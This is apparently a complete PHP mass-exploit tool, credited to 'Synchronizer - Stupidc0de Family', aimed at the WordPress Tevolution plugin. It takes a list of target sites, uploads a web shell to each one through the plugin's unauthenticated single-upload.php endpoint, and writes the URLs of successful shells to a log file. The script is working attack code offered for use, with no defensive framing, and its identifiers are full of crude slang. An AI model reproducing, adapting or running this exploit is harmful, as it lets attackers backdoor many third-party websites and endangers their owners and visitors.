Wordpress Tevolution Plugins Exploiter

<?php

print"

Wordpress Tevolution Plugins Exploiter

by Synchronizer - Stupidc0de Family

";

error_reporting(0);

set_time_limit(0);

if(!file_exists($argv[1])){

die('

File Not Found

usage: php tev.php list.txt

');

}

$xnxx=@fopen('logs.html','a+');

$get=file_get_contents($argv[1]);

$ex=explode("\n",$get);

$c=file($argv[1]);

echo"Total target : ".count($c)."\n\n";

foreach($c as $site){

echo "xploit site : $site";

$site=trim($site);

$kontolmu = 'shell.php'; # CHANGE YOUR SHELL HERE BRO

$isep = '/wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php';

echo kirim_jembut($site,$kontolmu,$isep);

}

function cukur_abis($jembut) {

$jembut = str_replace('["','',$jembut);

$jembut = str_replace('"]','',$jembut);

return $jembut;

}

function tarik_jembut($listjembut) {

$pangkas=explode("\r\n",$listjembut);

return $pangkas;

}

function kirim_jembut($alamat_janda, $memeknya, $jilat) {

$file = realpath($memeknya);

$ch = curl_init($alamat_janda.$jilat);

curl_setopt($ch, CURLOPT_POST, 1);

$stupidc0de['jembutfile'] = new CurlFile($file, 'text/html');

curl_setopt($ch, CURLOPT_POSTFIELDS, $stupidc0de);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$respon_janda = curl_exec($ch);

curl_close ($ch);

if(preg_match('/'.$memeknya.'/',$respon_janda)){

$hasil = ''.cukur_abis($respon_janda).'';

$def = "SUCCESS";

$xnxx=@fopen('logs.html','a+');

fwrite($xnxx,"$alamat_janda/wp-content/themes/Directory/images/tmp/$hasil"."<br>");

}

else {

$hasil = 'NULL';

$def = "FAILED";

}

echo" Status = $def \n Shell = $hasil\n";

}

print "

result saved in logs.html

";

?>